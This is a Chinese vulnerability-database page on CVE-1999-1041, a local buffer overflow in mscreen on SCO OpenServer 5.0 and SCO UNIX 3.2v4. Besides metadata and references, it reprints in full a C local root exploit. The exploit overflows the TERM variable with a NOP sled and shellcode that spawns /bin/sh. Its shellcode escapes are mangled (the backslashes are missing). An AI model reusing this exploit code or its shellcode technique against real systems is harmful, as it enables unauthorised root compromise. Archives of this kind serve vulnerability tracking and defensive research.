SCO OpenServer及SCO UNIX mscreen缓冲区溢出漏洞

SCO OpenServer及SCO UNIX mscreen缓冲区溢出漏洞

漏洞ID 1106189 漏洞类型 缓冲区溢出
发布时间 2001-01-26 更新时间 2001-01-26
图片[1]-SCO OpenServer及SCO UNIX mscreen缓冲区溢出漏洞-安全小百科CVE编号 CVE-1999-1041
图片[2]-SCO OpenServer及SCO UNIX mscreen缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-199808-015
漏洞平台 SCO CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/261
https://www.securityfocus.com/bid/83051
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199808-015
|漏洞详情
SCOOpenServer5.0版本及SCOUNIX3.2v4版本上的mscreen存在缓冲区溢出漏洞。本地用户借助(1)一个TERM环境变量及(2)一个.mscreenrc文件中的长输入条目获得根使用权。
|漏洞EXP
/*      Copyright (c) 2000 ADM                                  */
/*      All Rights Reserved                                     */
/*      THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM      */
/*      The copyright notice above does not evidence any        */
/*      actual or intended publication of such source code.     */
/*                                                              */
/*      Title:        SCO OpenServer mscreen                    */
/*      Tested under: SCO OpenServer 5.0.5                      */
/*      By:           K2                                        */
/*      Use:          gcc -o mscreen sco-mscreen.c              */
/*                                                              */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shell[] =
  /* [email protected] */
   "xebx1bx5ex31xdbx89x5ex07x89x5ex0cx88x5ex11x31xc0"
   "xb0x3bx8dx7ex07x89xf9x53x51x56x56xebx10xe8xe0xff"
   "xffxff/bin/shxaaxaaxaaxaax9axaaxaaxaaxaax07xaa";
   
#define SIZE 130
#define NOPDEF 40
#define DEFOFF -200
#define EGG 500

const char x86_nop=0x90;
long nop,esp;
long offset=DEFOFF;
char buffer[SIZE];
char egg[EGG];

long get_esp() { __asm__("movl %esp,%eax"); }

int main (int argc, char *argv[]) {
    int i;
    if (argc > 1) offset += strtol(argv[1], NULL, 0);
    if (argc > 2) nop += strtoul(argv[2], NULL, 0);
    else
        nop = NOPDEF;
    esp = get_esp();
    memset(egg,x86_nop,EGG);
    memcpy(egg+300, shell, strlen(shell));
    memset(buffer, x86_nop, SIZE);
    memcpy(buffer+nop, shell, strlen(shell));
    for (i = 1; i < SIZE-4; i += 4) {
        *((int *) &buffer[i]) = esp+offset;
    }
    memcpy(egg,"HOSTNAME=",9);  /* just playin */
    memcpy(buffer,"TERM=",5);   /* here's the overflow */
    putenv(egg);
    putenv(buffer);
    printf("offset = [0x%x]n",esp+offset);
    execl("/usr/bin/mscreen", "mscreen", NULL);
    printf("exec failed!n");
    return 0;
}


// milw0rm.com [2001-01-26]
|受影响的产品
SCO Unix 3.2V4

SCO Openserver 5.0

|参考资料

来源:USGovernmentResource:VB-98.10
名称:VB-98.10
链接:http://www.cert.org/vendor_bulletins/VB-98.10.sco.mscreen
来源:BUGTRAQ
名称:19980827SCOmscreenvul.
链接:http://www.securityfocus.com/archive/1/10420
来源:SCO
名称:SB-98.05a
链接:ftp://ftp.sco.com/SSE/security_bulletins/SB-98.05a
来源:BUGTRAQ
名称:19980926RootexploitforSCOOpenServer.
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=90686250717719&w;=2

相关推荐: FreeBSD拒绝服务漏洞

FreeBSD拒绝服务漏洞 漏洞ID 1206940 漏洞类型 未知 发布时间 1999-09-02 更新时间 1999-09-02 CVE编号 CVE-1999-1564 CNNVD-ID CNNVD-199909-009 漏洞平台 N/A CVSS评分 2…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享